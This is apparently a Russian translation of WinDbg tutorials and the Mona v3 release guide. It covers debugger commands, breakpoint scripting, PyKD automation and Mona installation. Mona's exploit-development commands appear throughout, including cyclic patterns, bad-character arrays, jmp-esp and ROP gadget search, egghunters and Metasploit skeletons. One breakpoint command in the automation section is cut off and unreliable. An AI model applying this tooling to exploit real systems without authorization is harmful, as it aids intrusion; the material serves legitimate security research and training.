
Задайте `_NT_SYMBOL_PATH` глобально или настройте путь в каждом отладчике:

```
$env:_NT_SYMBOL_PATH = "srv*C:\symbols*https://msdl.microsoft.com/download/symbols"
```

Кэш должен быть доступен для записи, а сеть — разрешена. Каталоги закрытых PDB можно добавлять до или после пути, разделяя точками с запятой.

Проверка обеих версий

Запустите каждый отладчик, откройте простой исполняемый файл, выполните `.symfix` и `.reload` и убедитесь, что `lm` показывает символы.

Подключение к процессу

Открытие исполняемого файла и присоединение

Открытие исполняемого файла позволяет наблюдать инициализацию процесса и загрузку модулей с самого начала. Присоединение подключается к уже работающему процессу и вызывает остановку отладчика.

В Classic WinDbg выберите **File > Open Executable**.

Процесс запускается под управлением отладчика на начальной точке останова.

Запуск из командной строки:

```
windbg.exe notepad.exe
windbg.exe -o childlauncher.exe
windbg.exe -g -G target.exe argument1
```

Полезные параметры:

Параметр	Назначение
-p PID	Присоединиться по идентификатору процесса
-pn name.exe	Присоединиться по имени процесса
-o	Отлаживать дочерние процессы
-g	Игнорировать начальную точку останова
-G	Игнорировать конечную точку останова
-c "commands"	Выполнить команды запуска
-logo file	Записывать вывод отладчика в журнал

Выполнение и приостановка

Приглашение показывает, остановлена ли цель. Команда `g` продолжает выполнение.

Используйте **Debug > Break** или `Ctrl+Break`, чтобы прервать работающий процесс.

В WinDbgX выберите **Launch executable** или **Attach to process** на начальном экране.

Перед присоединением изучите список процессов и подтвердите архитектуру, PID и командную строку.

Несколько процессов

При отладке дочерних процессов или нескольких целей Classic WinDbg позволяет выбирать процессы и потоки командами `|` и `~`.

В WinDbgX имеются соответствующие представления процессов и потоков.

Команды:

```
|             ; list processes in the debug session
|2s           ; select process 2
~             ; list threads
~3s           ; select thread 3
~* k          ; stack trace for every thread
```

Аргументы командной строки

Заключайте пути и аргументы цели в кавычки по правилам оболочки, запускающей WinDbg. `-c` получает команды отладчика, а аргументы после исполняемого файла относятся к цели.

```
windbg.exe -c ".symfix; .reload; sxe av; g" "C:\Program Files\Target\target.exe" "C:\cases\input.bin"
```

Используйте неинвазивное присоединение только тогда, когда рабочий процесс допускает ограниченное управление:

```
windbg.exe -pv -p 1234
```

Настройка графического интерфейса

WinDbg Classic

Расположите окна Command, Registers, Disassembly, Memory, Call Stack и Processes/Threads вокруг командной панели. Сохраните рабочее пространство для повторного использования.

Окна регистров могут показывать разные группы и форматы.

WinDbgX

WinDbgX объединяет параметры темы, исходного кода, символов, событий и запуска в Settings.

Основы отладки

Интерфейс командной строки

Приглашение содержит идентификаторы процесса и потока, например `0:000>`. В большинстве контекстов команды не чувствительны к регистру. Точки с запятой разделяют команды.

Получение справки:

```
.help
.help command
!help
hh command
```

Повторяйте и редактируйте команды через историю. В командных файлах комментарии начинаются с $$.

Управление выполнением

Команда	Действие
g	Продолжить
gc	Продолжить из условной точки останова
p	Перешагнуть одну инструкцию или строку исходного кода
t	Войти в одну инструкцию или строку исходного кода
pa address	Выполнять до адреса, перешагивая вызовы
ta address	Трассировать до адреса
pc	Выполнять до следующего вызова
tc	Трассировать до следующего вызова
gu	Выполнять до возврата текущей функции
pt	Выполнять до следующей инструкции возврата
wt	Трассировать и суммировать вызовы

Режим исходного кода влияет на `p` и `t`. Когда важно точное состояние инструкций, используйте режим ассемблера.

Управление продолжением после исключения:

```
gh            ; continue and mark exception handled
gn            ; continue and mark exception not handled
```

Перезапуск или завершение:

```
.restart
q
qd            ; quit and detach
```

Дизассемблирование: u, ub и uf

```
u @rip
u @rip L20
```

```
ub @rip
ub @rip L10
uf module!Function
uf /c module!Function
```

• u дизассемблирует вперёд.
• ub дизассемблирует назад, эвристически определяя границы инструкций.
• uf дизассемблирует полную функцию по символам и потоку управления.

Разрешение адреса:

```
ln @rip
x module!*pattern*
```

Перед пошаговым выполнением инструкций чтения или записи изучайте эффективные адреса.

Точки останова

Точки останова на коде

```
bp module!Function
bp address
bu module!DeferredSymbol
bl
bd 0
be 0
bc 0
bc *
```

bp привязывается к текущему адресу. bu остаётся неразрешённой или отложенной и отслеживает символы при повторной загрузке модуля.

Одноразовая точка останова:

```
bp /1 module!Function
```

Команды точки останова:

```
bp kernel32!CreateFileW ".printf \"CreateFileW(%mu)\\n\", @rcx; kv; gc"
```

Фильтры конкретных потоков и процессов задаются параметрами точек останова или условными командами.

Условные точки останова

```
bp module!Function ".if (@rcx == 0) { .echo null argument; kb; } .else { gc; }"
```

В командах точек останова предпочтительна gc.

Точки останова по данным с ba

Аппаратные точки останова срабатывают при обращении к памяти:

```
ba r4 address     ; read four bytes
ba w4 address     ; write four bytes
ba e1 address     ; execute one byte
ba i4 port        ; I/O access where supported
```

Допустимые длины и выравнивание зависят от архитектуры. У процессора лишь несколько регистров аппаратных точек останова.

Примеры:

```
ba w8 @rsp
ba r4 poi(@rcx+20)
```

.printf и Debugger Markup Language

Форматированный вывод:

```
.printf "RIP=%p RSP=%p value=%x\n", @rip, @rsp, poi(@rsp)
```

Полезные спецификаторы: `%p` для указателя, `%x` для шестнадцатеричного, `%d` для десятичного, `%ma` для ANSI-строки, `%mu` для Unicode-строки и `%y` для символа.

DML создаёт интерактивный вывод отладчика:

```
.printf /D "<link cmd=\"u %p\">disassemble</link>\n", @rip
.dml_start
lmD
```

Осторожно экранируйте кавычки в командах точек останова и командных файлах.

Просмотр памяти

Команды вывода различаются размером и интерпретацией элементов:

Команда	Представление
db	Байты и ASCII
dc	Двойные слова и ASCII
dd	Двойные слова
dq	Четверные слова
dp	Значения размера указателя
da	ANSI-строка до нуля
du	Unicode-строка до нуля
df	Значения с плавающей точкой
dps	Значения размера указателя с символами
dds	Двойные слова с символами

Примеры:

```
db @rsp L40
```

```
dd @rsp L20
dps @rsp L20
da @rcx
du @rcx
```

Длина после `L` — количество выводимых единиц, не всегда байтов.

Переход по указателям:

```
dp poi(@rsp)
du poi(@rcx+10)
```

`poi()` MASM читает значение размера указателя. Операторы явного размера: `by`, `wo`, `dwo` и `qwo`.

Исследование метаданных виртуальной памяти:

```
!address address
!vadump
!vprot address
```

Исследование структур при наличии типа в символах:

```
dt ntdll!_PEB @$peb
dt module!_TYPE address
dt -r module!_TYPE address
```

Поиск в памяти

Поиск байтов, слов, двойных и четверных слов, строк и диапазонов:

```
s -b start end 41 41 41 41
s -w start end 4141
s -d start end 41414141
s -q start end 4141414141414141
s -a start end "ASCII text"
s -u start end "Unicode text"
```

Для больших диапазонов, которые отклоняет обычный анализатор длины, используйте `L?length`:

```
s -b 0 L?7fffffff 77 30 30 74
```

Сохраняйте совпадения для последующих поисков с помощью `-s`; после определения подходящих областей через `!address` при необходимости ищите только в доступной для записи или исполняемой памяти.

Редактирование памяти

Команда	Тип записи
eb	Байт
ew	Слово
ed	Двойное слово
eq	Четверное слово
ea	ANSI-строка

eu	Unicode-строка
eza	ANSI-строка с нулевым терминатором
ezu	Unicode-строка с нулевым терминатором

Примеры:

```
eb address 90 90 cc
ed address 41414141
eq address 1122334455667788
eza address "hello"
```

Заполнение памяти:

```
f address L100 90
f address L40 41 42 43 44
```

Перемещение и сравнение:

```
m source_start source_end destination
c range1 range2
```

Редактирование живой цели может сделать исследуемые доказательства недействительными. Записывайте исходные байты и изменяйте их осознанно.

Mona

Mona автоматизирует повторяющиеся задачи разработки эксплойтов в вариантах для WinDbg/PyKD и Immunity Debugger. Типичные операции: инвентаризация модулей, циклические шаблоны, сравнение недопустимых символов, поиск гаджетов и указателей, исследование кучи и создание ROP.

Настройка рабочего каталога:

```
!mona config -set workingfolder=c:\logs\%p
```

Распространённые команды:

```
!mona modules
!mona pattern_create 5000
!mona pattern_offset <value>
!mona bytearray -cpb "\x00\x0a\x0d"
!mona compare -f c:\logs\bytearray.bin -a @rsp
!mona find -s "\xff\xe4" -m module.dll
!mona jmp -r esp
!mona seh
!mona rop
!mona heap
```

Всегда вручную проверяйте побочные эффекты гаджетов и защиту модулей.

Файлы журналов

Открытие и закрытие журнала отладчика:

```
.logopen /t C:\logs\session.txt
.logappend C:\logs\session.txt
.logclose
```

Журналирование из командной строки:

```
windbg.exe -logo C:\logs\debug.txt target.exe
```

В исследовательские журналы включайте временные метки, хеши или версии цели, состояние символов, шаги воспроизведения и конфигурацию отладчика.

Псевдорегистры

Автоматические псевдорегистры предоставляют контекст отладчика:

Регистр	Значение
@$peb	Блок окружения процесса
@$teb	Блок окружения текущего потока
@$tid	Идентификатор текущего потока
@$pid	Идентификатор текущего процесса
@$retreg	Регистр возвращаемого значения
@$ip	Независимый от архитектуры указатель инструкций
@$sp	Независимый от архитектуры указатель стека
@$ra	Адрес возврата, если доступен

Пользовательские псевдорегистры от `$t0` до `$t19` хранят временные значения:

```
r @$t0 = @rsp
r @$t1 = poi(@$t0)
.printf "saved SP=%p first=%p\n", @$t0, @$t1
```

Распространённые команды WinDbg

Сеанс и символы

```
vertarget
version
.effmach
.sympath
.symfix
.reload
lm
lmv m module
```

Состояние процессов и потоков

```
|
~
~* k
!peb
!teb
!process 0 0
```

Исключения и контекст

```
.lastevent
.exr -1
.ecxr
!analyze -v
sxe av
sx
```

Регистры и стек

```
r
r @rax
r @rax=1
k
kb
kp
kv
dps @rsp L40
```

Модули и символы

```
lm
x module!*pattern*
ln address
!dh module -f
```

Куча и память

```
!heap -s
!heap -p -a address
!address address
!vprot address
dt type address
```

Вывод и поведение команд

```
.echo text
.printf "value=%p\n", address
.formats value
.radix 16
.expr
cls
```

Предупреждение о QuickEdit

Командные окна в классическом консольном стиле могут неожиданно приостановиться, если QuickEdit выделит текст. Если отладчик кажется зависшим, снимите выделение или отключите QuickEdit в соответствующих настройках терминала.

Заключительные замечания

Эффективная работа в WinDbg основана на доказательствах. Проверяйте символы, останавливайтесь в самой ранней полезной точке, исследуйте операнды до выполнения инструкции и записывайте точные команды. Освоив базовый язык команд, можно сделать исследования воспроизводимыми с помощью автоматизации точек останова, командных файлов, расширений отладчика на JavaScript и PyKD.

Отладка — автоматизация и сценарии WinDBG(X) — часть 1

corelanc0d3r, 2026-04-17

Введение

WinDbg и WinDbgX позволяют автоматизировать запуск, обработку событий, действия точек останова, сбор телеметрии, повторяющиеся последовательности команд и анализ более высокого уровня. В этой главе мы пройдём путь от встроенных команд отладчика до командных файлов и Python через PyKD.

windbg(x).exe -c

Параметр `-c` выполняет команды при открытии целевого приложения:

```
windbg.exe -c ".symfix; .reload; g" notepad.exe
```

Заключайте всю строку команд в кавычки, а команды отладчика разделяйте точками с запятой.

Инициализация сеанса

Последовательность запуска может настроить символы, загрузить расширения, установить точки останова, открыть журнал и продолжить выполнение:

```
.symfix C:\symbols
.reload
.load pykd
.logopen /t C:\logs\session.txt
sxe av
bu kernel32!CreateFileW ".printf \"CreateFileW called\\n\"; gc"
g
```

Если последовательность инициализации становится слишком длинной для `-c`, используйте командный файл.

Автоматизация на основе точек останова

Строки команд точек останова выполняются при каждом их срабатывании:

```
bp module!Function ".printf \"hit Function\\n\"; r; kv; gc"
```

Команда `gc` лучше безусловной `g` сохраняет ожидаемое поведение при пошаговом выполнении. В x64 аргументы API обычно сначала передаются через `RCX`, `RDX`, `R8` и `R9`; в x86 учитывайте соглашение о вызовах функции и структуру стека.

Параметры запуска WinDbgX

WinDbgX может хранить команды, выполняемые для новых сеансов. Глобальные команды запуска должны быть консервативными, поскольку устаревшие точки останова для конкретных модулей способны повлиять на не связанные с ними цели.

События и исключения

К событиям отладчика относятся создание процессов и потоков, загрузка и выгрузка модулей, отладочные строки, точки останова и исключения. После того как отладчик увидит исключение первого шанса, оно передаётся обработчикам приложения; исключение второго шанса означает, что приложение его не обработало.

Где устанавливать точки останова

Если модуль ещё не загружен, создавайте отложенную символьную точку останова с помощью `bu`:

```
bu target!InterestingFunction
sxe ld:target.dll
```

Обработка событий

Семейство `sx` управляет реакцией отладчика:

Команда	Поведение
sxe	Остановиться при возникновении события
sxd	Не останавливаться, но вывести уведомление
sxn	Уведомить и продолжить
sxi	Игнорировать событие
sx	Показать текущие фильтры

```
sxe av
sxe ld:example.dll
sxd eh
sxn ct
```

К распространённым именам относятся `av` для нарушения доступа, `eh` для исключений C++, `ibp` для начальной точки останова, `ld`/`ud` для загрузки и выгрузки модулей, `ct`/`et` для создания и завершения потоков и `cpr`/`epr` для создания и завершения процессов.

Инструментирование по событиям

Телеметрия

Команды точек останова позволяют регистрировать входные данные без интерактивной остановки:

```
bp kernelbase!VirtualAlloc ".printf \"size=%p protect=%x ret=%p\\n\", @r8, @r9, @ra; gc"
.logopen /t C:\logs\allocations.txt
```

Часто вызываемые функции могут создавать значительные накладные расходы отладчика, поэтому применяйте строгую фильтрацию.

Условный сбор контекста

```
bp kernelbase!VirtualAlloc ".if (@r8 >= 0x100000) { .printf \"large allocation\\n\"; r; kv; } .else { gc; }"
```

Инструментирование функции двумя наборами точек

Точки останова на входе записывают аргументы и устанавливают одноразовую точку останова по адресу возврата. Точки останова на выходе записывают результат:

```
bp module!Target ".printf \"ENTER tid=%x arg=%p ret=%p\\n\", @$tid, @rcx, @ra; bu /1 @ra ".printf \"LEAVE tid=%x result
```

Рекурсивные и многопоточные вызовы могут иметь общий адрес возврата. Добавьте условия по потокам или используйте состояние сценария, если вызовы необходимо точно сопоставлять.

Поиск функций по символам

```
lm m target
x target!*
x target!*Create*
uf target!Namespace::Class::Method
```

В статье это демонстрируется на примере диспетчера задач. Перед установкой инструментирования проверяйте декорированные имена и границы инструкций.

Поиск функций без символов

Используйте импортируемые функции, вызывающий код, константы, шаблоны инструкций и воспроизводимое поведение ввода-вывода. В примере с браузером Edge запускается без песочницы, чтобы упростить поведение дочерних процессов в лабораторной среде.

```
s -d module_start module_end 3ff00000 00000000
u candidate-20 candidate+40
bp candidate ".printf \"candidate hit\\n\"; r; gc"
```

Многократно выполняйте нужную операцию и отбрасывайте адреса, срабатывания которых с ней не коррелируют.

Встроенные средства автоматизации

Условия

```
.if (@rax == 0) {
    .echo failure;
    kv;
} .else {
    .printf "result=%p\n", @rax;
}
```

.foreach

Команда `.foreach` разбивает на токены вывод команд отладчика или содержимое файла:

```
.foreach (addr { s -[1]b 0 L?7fffffff 41 41 41 41 }) {
    .printf "match at %p\n", ${addr};
}
```

Такие параметры, как `/pS`, `/ps` и `/f`, управляют пропускаемыми токенами и вводом из файла.

.for

```
.for (r @$t0 = 0; @$t0 < 10; r @$t0 = @$t0 + 1) {
    .printf "i=%d\n", @$t0;
}
```

Псевдорегистры от `$t0` до `$t19` удобно использовать как временные переменные.

Псевдонимы

Псевдонимы уменьшают количество повторений:

```
as /ma imagebase poi(@$peb+10)
.echo ${imagebase}
ad imagebase
```

Команды `as` и `aS` создают псевдонимы, `ad` удаляет их, а `al` выводит список. Выбирайте отличительные имена, поскольку подстановка псевдонимов происходит до выполнения команды и может неожиданно заменить текст во встроенных командах.

Конструкция `${name}` явно обозначает границу псевдонима. `.block { ... }` запускает дополнительный этап подстановки, когда псевдоним создаётся и используется в одной составной команде.

Вычислители выражений MASM и C++

Синтаксис MASM удобен для непосредственной работы с адресами, символами и регистрами:

```
? poi(@rsp+8)
? module!symbol+20
```

Синтаксис C++ использует информацию отладчика о типах:

```
?? ((ntdll!_PEB*)@$peb)->BeingDebugged
?? sizeof(ntdll!_PEB)
```

Переключайте или явно встраивайте вычислители:

```
.expr /s masm
.expr /s c++
?? @@masm(poi(@rsp+8))
? @@c++(((ntdll!_PEB*)@$peb)->ImageBaseAddress)
```

Запуск командных файлов

Команда $< читает команды из файла, а $$>< исполняет файл как блок команд:

```
$$><C:\scripts\initialize.wds
```

Передавайте входные данные через псевдонимы или псевдорегистры и добавляйте маркеры этапов `.echo`, чтобы по журналам было видно, какие действия выполнились.

PyKD

PyKD предоставляет Python доступ к состоянию отладчика и выполнению команд. Архитектура Python должна соответствовать архитектуре отладчика; установите совместимые расширение и пакет.

```
.load pykd
!py
```

В современных конфигурациях для доступа к символам может потребоваться регистрация компонента DIA от Microsoft.

Написание сценариев PyKD

PEB и модули

```
import pykd

peb = pykd.getProcessEnvironment()
print(f"PEB: 0x{peb:x}")

for module in pykd.getModulesList():
    print(module.name(), hex(module.begin()), hex(module.end()))
```

Регистры

```
ip = pykd.reg("rip")
sp = pykd.reg("rsp")
print(f"RIP={ip:#x} RSP={sp:#x}")
```

```
pykd.setReg("rax", 0x1234)
```

При поддержке x86 и x64 используйте имена регистров с учётом архитектуры.

Чтение и запись памяти

```
address = pykd.reg("rsp")
data = pykd.loadBytes(address, 32)
print(bytes(data).hex())
pykd.writeBytes(address, [0x41, 0x42, 0x43, 0x44])
```

Перед записью в память проверяйте диапазоны целевого адресного пространства.

Выполнение команд отладчика

```
output = pykd.dbgCommand("kv")
print(output)
```

По возможности отдавайте предпочтение структурированным API PyKD; разбирайте вывод команд только при необходимости.

Дизассемблирование

```
ip = pykd.reg("rip")
for _ in range(5):
    instruction = pykd.disasm(ip)
    print(instruction.instruction())
    ip = instruction.next()
```

После ассемблирования или изменения байтов дизассемблируйте их снова, чтобы проверить границы инструкций.

Итоги

Используйте самый простой уровень автоматизации, подходящий для задачи. Команды точек останова прекрасно подходят для быстрого сбора телеметрии, командные файлы делают настройку воспроизводимой, а PyKD уместен, когда состояние и обработка данных становятся слишком сложными для механизма подстановки команд отладчика.

Выпуск Mona v3: быстрее, компактнее, шире

corelanc0d3r, 2026-05-01

Давно пора

Ура! Наконец это произошло.

Я с гордостью объявляю о выпуске **Mona v3**.

Подготовка этого выпуска заняла много времени. Он по-прежнему опирается на прочный фундамент предыдущих версий, однако значительные части кодовой базы были переработаны, реорганизованы и модернизированы.

В результате Mona стала чище и шире, получила улучшенную совместимость и более единообразную среду выполнения во всех поддерживаемых окружениях.

Что нового

Хорошие новости

Mona v3 быстрее и компактнее, а её среда выполнения шире и гибче:

• Полная поддержка Python 2 и Python 3. Рекомендуется Python 3.
• Работает в WinDBG, WinDBGX и Immunity Debugger.
• Поддерживает 32- и 64-разрядные процессы.
• Использует новую библиотеку PyKD и загрузчик `pykd-ext`.

Другие улучшения:

• Меньшая зависимость от доступа PyKD к символам. Значительную часть работы с модулями и кучей Mona теперь выполняет самостоятельно.
• Аргументы адресов единообразно принимают адреса, регистры, имена символов, разыменованные регистры со смещениями, имена модулей и другие выражения.
• Улучшенный табличный вывод.
• Значительное ускорение дорогих процедур, например `mona rop`.
• Управление символами и очистка дискового пространства от неудачных загрузок символов.
• Улучшенный поиск `findwild` с подстановочными знаками.
• Оценка времени завершения долгих операций и поисков.
• Возможность прерывать долгие поиски без завершения сеанса отладки.
• Интерактивные ссылки в отдельных видах вывода.

Большинство существующих команд сохранено, а их поведение, стабильность, совместимость или производительность улучшены. Цель не изменилась: по умолчанию предоставлять качественный практический результат, сохраняя детальный контроль над областью и поведением поиска.

Mona v3 также добавляет команды и функции, которые будут рассмотрены в следующих статьях.

Неидеальные новости

Исходная Mona 2011 года работала в стандартной установке Python 2 и Immunity Debugger без дополнительных библиотек. Для поддержки WinDBG позднее потребовался PyKD.

Расширение 64-разрядной поддержки выявило ещё одно ограничение: WinDBG и WinDBGX не умеют нативно ассемблировать 64-разрядные мнемоники. PyKD полагается на WinDBG и не имеет собственного ассемблера. Рассматривался кэш распространённых инструкций, но улучшения `findwild` показали, что такой кэш не масштабируется.

Поэтому для надёжного 64-разрядного ассемблирования Mona использует `keystone-engine`. Если он установлен, windbglib импортирует его автоматически. Иначе применяется ограниченный кэш инструкций и возможности WinDBG. При наличии Keystone предпочтителен и для 32-разрядных целей.

Похоже, Keystone больше активно не поддерживается. Приветствуются предложения лёгкого поддерживаемого ассемблера с x86, x64, Python 3.9+ и простой установкой через `pip`.

Благодарности

Благодарю apl3b за переписывание важнейших процедур ядра, повышение производительности и добавление функций и команд. Без его работы этот выпуск не был бы таким.

Также благодарю angelo5d0 за тестирование функций и команд обновлённой кодовой базы Mona и windbglib.

Предварительные требования

Очистка

Перед установкой Mona v3:

• Удалите старые копии `mona.py` и `windbglib.py` из каталогов отладчиков.
• Удалите `pykd.pyd` из каталога WinDBG.
• Удалите неиспользуемые установки Python.

Чистое окружение предотвращает скрытые конфликты.

Установка зависимостей

Репозиторий Mona v3 содержит полные инструкции установки. Основные требования:

• Python 3.9.13 в 32- и 64-разрядных вариантах. Это новейшая версия Python, для которой пакет PyKD распространяется через `pip`.
• Пакет PyKD Python для обеих архитектур.
• Расширение WinDBG `pykd-ext`, используемое как загрузчик.
• `keystone-engine` для обеих архитектур Python.

Другие версии Python могут сосуществовать, однако Mona не запустится в окружении Python без PyKD.

Репозиторий CorelanTraining содержит `CorelanPyKDInstall.ps1`, устанавливающий эти компоненты. Он проверен на нескольких виртуальных машинах Windows 10 и Windows 11. Внимательно изучайте вывод на наличие ошибок.

При ручной установке следуйте разделу PyKD статьи об автоматизации WinDBG и дополнительно установите Keystone для обеих архитектур:

```
py -3.9-32 -m pip install keystone-engine
py -3.9-64 -m pip install keystone-engine
```

После публикации статьи об автоматизации WinDBG пользователь `@gerhart_x` собрал PyKD для Python 3.14. Сборка доступна в выпуске Hyper-V scripts.

`CorelanPyKDInstall.ps1` обновлён необходимыми установщиками. Он умеет устанавливать Python 3.14.4 обеих архитектур, обновлять `pykd-ext` до 2.0.0.25 и устанавливать соответствующий пакет `pykd.pyd`.

Установка mona.py

Размещение mona.py и windbglib.py

Файлы по-прежнему можно поместить в каталог WinDBG, но рекомендуется централизованная установка. В документации используется `C:\Tools\mona3`; подойдёт и другое место, если `mona.py` и `windbglib.py` находятся рядом.

Один из вариантов — клонировать репозиторий:

```
cd C:\Tools
git clone https://github.com/corelan/mona3.git
```

Нужны только два файла Python. Запишите полный путь к `mona.py`, поскольку WinDBG вызывает его по этому пути.

Централизация упрощает обновление: `!mona up` обновляет сценарии для всех настроенных отладчиков.

WinDBG и WinDBGX могут использовать псевдоним полной команды. Immunity Debugger может использовать символическую ссылку в каталоге `PyCommands`:

```
mklink "C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands\mona.py" C:\Tools\mona3\mona.py
```

mona.ini

Mona хранит конфигурацию в `mona.ini`. Если v3 обнаруживает существующий файл, она переносит его в каталог с `mona.py`, сохраняя централизацию установки.

Запуск mona.py

В WinDBG или WinDBGX загрузите загрузчик PyKD:

```
!load pykd
```

В отличие от ранних выпусков Mona, эта команда загружает `pykd.dll`, а не `pykd.pyd`.

Запустите Mona с Python 3.9:

```
!py -3.9 C:\Tools\mona3\mona.py
```

Явное указание версии исключает неоднозначность при нескольких установках Python. Отладчик выбирает правильную архитектуру. Для Python 3.14 используйте:

```
!py -3.14 C:\Tools\mona3\mona.py
```

Для удобства создайте псевдоним:

```
as !mona !py -3.9 C:\Tools\mona3\mona.py
```

Или для Python 3.14:

```
as !mona !py -3.14 C:\Tools\mona3\mona.py
```

Теперь Mona вызывается как `!mona`. WinDBGX также можно настроить на автоматическую загрузку PyKD и создание псевдонима.

Команды Mona

Вики Mona v3 описывает каждую команду и глобальные параметры поиска. Ниже приведён набор на момент выпуска. Текущий список `!mona` является окончательным, поскольку команды могут меняться.

Команда / псевдоним	x86	x64	Примечания	Описание
? / eval	Да	Да		Вычислить выражение
allocmem / alloc	Да	Да	Только WinDBG	Выделить память
assemble / asm	Да	Да	Для x64 требуется Keystone	Ассемблировать инструкции
bpseh / sehbp	Да	Нет	В x64 нет стекового SEH	Остановиться на стековых обработчиках SEH
breakfunc / bf	Да	Да		Остановиться на функции
breakpoint / bp	Да	Да		Управлять точками останова
bytearray / ba	Да	Да		Создать массив байтов

changeacl / ca	Да	Да	Только WinDBG	Изменить защиту памяти
cleanlog / clean	Да	Да	Новая	Удалить старые журналы
compare / cmp	Да	Да		Сравнить память с файлом
config / conf	Да	Да		Управлять конфигурацией
copy / cp	Да	Да		Копировать память
dump / dmp	Да	Да		Создать дамп памяти
dumplog / dl	Да	Да	Только WinDBG	Создать дамп журнала
dumpobj / do	Да	Да	Только WinDBG	Вывести объект
egghunter / egg	Да	Нет		Создать egghunter
encode / enc	Да	Нет		Закодировать полезную нагрузку
filecompare / fc	Да	Да		Сравнить файлы
fillchunk / fchunk	Да	Да		Перезаписать фрагмент кучи
find / f	Да	Да		Найти байты, строки, указатели и другие шаблоны
findmsp / findmsf	Да	Да		Найти циклические смещения в стеке и регистрах
findwild / fw	Да	Да	Для x64 требуется Keystone	Поиск инструкций с подстановочными знаками

fwptr / fwp	Да	Нет		Найти вызываемый доступный для записи указатель
geteat / eat	Да	Да		Вывести или запросить EAT
getiat / iat	Да	Да		Вывести или запросить IAT
getpc	Да	Да		Создать код GetPC
gflags / gf	Да	Да		Показать активные глобальные флаги
header	Да	Да		Преобразовать файл в воссоздающий его код Python
heap	Да	Да	В разработке	Анализировать кучу
help / h	Да	Да		Показать справку
info	Да	Да		Показать сведения об адресе
infodump / if	Да	Да		Вывести содержимое процесса для сравнения
jmp / j	Да	Да		Найти регистровые трамплины
jop	Да	Да		Найти JOP-гаджеты
jseh	Да	Нет	В x64 нет стекового SEH	Найти трамплины SEH вне модулей
load / ld	Да	Да		Загрузить файл в память

moduleinfo / modinfo	Да	Да	Новая	Показать сведения о модуле
modules / mod	Да	Да		Вывести модули
offset / os	Да	Да		Вычислить смещение
pageacl / pacl	Да	Да		Показать страницы процесса и разрешения
pattern_create / pc	Да	Да		Создать циклический шаблон
pattern_offset / po	Да	Да		Найти смещение шаблона
peb	Да	Да		Показать адрес PEB
proclayout / pl	Да	Да	Новая	Показать сущности процесса
rop	Да	Да		Найти ROP-гаджеты
ropfunc	Да	Да		Найти полезные функции ROP в IAT модулей
seh	Да	Нет	В x64 нет стекового SEH	Найти трамплины перезаписи SEH
sehchain / exchain	Да	Нет	В x64 нет стекового SEH	Показать стековую цепочку SEH
skeleton	Да	Да		Создать каркас эксплойта
stackpivot	Да	Да		Найти развороты стека
stacks	Да	Да		Вывести стеки всех потоков

string / str	Да	Да		Прочитать или записать строку памяти
stringpos / strpos	Да	Да	Новая	Найти содержимое адреса в ASCII- или Unicode-строке
suggest	Да	Да	Требуется повреждение стека циклическим шаблоном	Предложить эксплойт и создать модуль Metasploit
sym	Да	Да	Новая, только WinDBG	Вывести, загрузить и очистить символы
teb	Да	Да		Показать адрес TEB
tobp / 2bp	Да	Да	Только WinDBG	Преобразовать в точку останова
unicodealign / ua	Да	Нет		Создать код выравнивания Unicode
update / up	Да	Да		Обновить Mona
write / w	Да	Да		Записать байты в память

Большинство команд теперь поддерживает 64-разрядные цели, и охват будет расширяться.

Основы использования

Команды имеют вид:

```
!mona <command> [arguments]
```

Например:

```
!mona asm -s "jmp eax"
```

Задайте рабочий каталог вместо записи вывода в каталог WinDBG. %p создаёт подкаталог с именем образа процесса:

```
!mona config -set workingfolder C:\logs\%p
```

Вывод показывает файл конфигурации и новое значение:

```
[+] Saving new value for parameter 'workingfolder'
    Config file: C:\Tools\mona3\mona.ini
[+] Saving config file, modified parameter workingfolder
    mona.ini saved under C:\Tools\mona3
    Parameter       New value
    -------------   -----------
    workingfolder   C:\logs\%p
```

Регулярно проверяйте обновления командой `!mona up`. Централизованная установка обновляет все отладчики одновременно.

Глобальные параметры и стандартные фильтры

Глобальные параметры управляют выбранными модулями и допустимыми адресами результатов:

```
Module selection:
  -n                      Skip modules starting with a null byte
  -o                      Ignore operating-system modules
  -m <module,...>         Search only named modules; wildcards are supported
  -cm <criteria,...>      Filter by aslr, safeseh, rebase, nx, cfg, or os
  -cmp <regex>            Filter module full paths by regex

Address selection:
  -p <count>              Stop after this many pointers
  -cp <criteria,...>      unicode, ascii, asciiprint, upper, lower,
                          uppernum, lowernum, numeric, alphanum, nonull,
                          startswithnull, or unicoderev
  -cpb '\x00\x01'        Pointer bad characters; '..' defines a range
  -x <access>             R, W, X, RW, RX, WX, RWX, or *

Other:
  -h                      Show command help
  -debug                  Enable diagnostic routines when requested
```

Параметры поиска определяют область памяти или ограничивают возвращаемые адреса. По умолчанию большинство поисков исключает перемещённые и поддерживающие ASLR модули. Поиски SEH также исключают модули SafeSEH. В принятых модулях проверяются только исполняемые страницы.

Исключения: `findwild` ищет по всем исполняемым страницам, а `getiat` и `geteat` — во всех модулях.

Переопределяйте стандартный выбор модулей через `-m` или `-cmp`, критерии защиты через значение вроде `-cm aslr=True,rebase=True`, а доступ страниц — через `-x`. Например, `-x R` ищет на читаемых страницах. Такие переопределения требуют понимания механизмов защиты и разрешений памяти.

Mona теперь заметно показывает активные фильтры. Поиск `jmp` выводит требования доступа к указателю и критерии модулей:

```
0:000> !mona jmp -r esp
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table
[+] Criteria: ASLR = False | REBASE = False
[+] Querying 1 modules
    - Querying module blah
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
```

Фильтрация отражается и в таблице модулей. Например:

```
0:015> !mona mod -cmp edge
```

```
[+] Processing arguments and criteria
    - Pointer access level : X
    - Filtering modules by path matching : edge
[+] Generating module info table
Total nr of modules loaded: 20 | Nr of modules displayed after filters: 4
Module filter applied: cmp = edge
```

Получение справки

Добавьте `-h` или используйте `!mona help <command>`:

```
!mona asm -h

Basic command:
   !py mona assemble
   !py mona asm

Usage:
Convert instructions to opcode. Separate multiple instructions with #.

Mandatory argument:
   -s <instructions>
```

Прерывание mona.py

Большинство долгих процедур можно прервать, создав рядом с `mona.py` файл `stop`:

```
echo "stop" > C:\Tools\mona3\stop
```

Mona периодически проверяет его наличие и завершает сценарий. Результаты теряются, но сеанс отладки сохраняется.

Настройка интерактивных ссылок

Некоторые результаты WinDBG и WinDBGX содержат интерактивные команды. Обычно Mona обнаруживает псевдоним WinDBG, указывающий на `mona.py`, если существует ровно один подходящий, иначе использует `!mona`.

При другом имени задайте псевдоним явно. Используйте `#` вместо `!`, чтобы предотвратить подстановку псевдонима WinDBG; Mona сама заменит его обратно:

```
!mona3 config -set alias #mona3
```

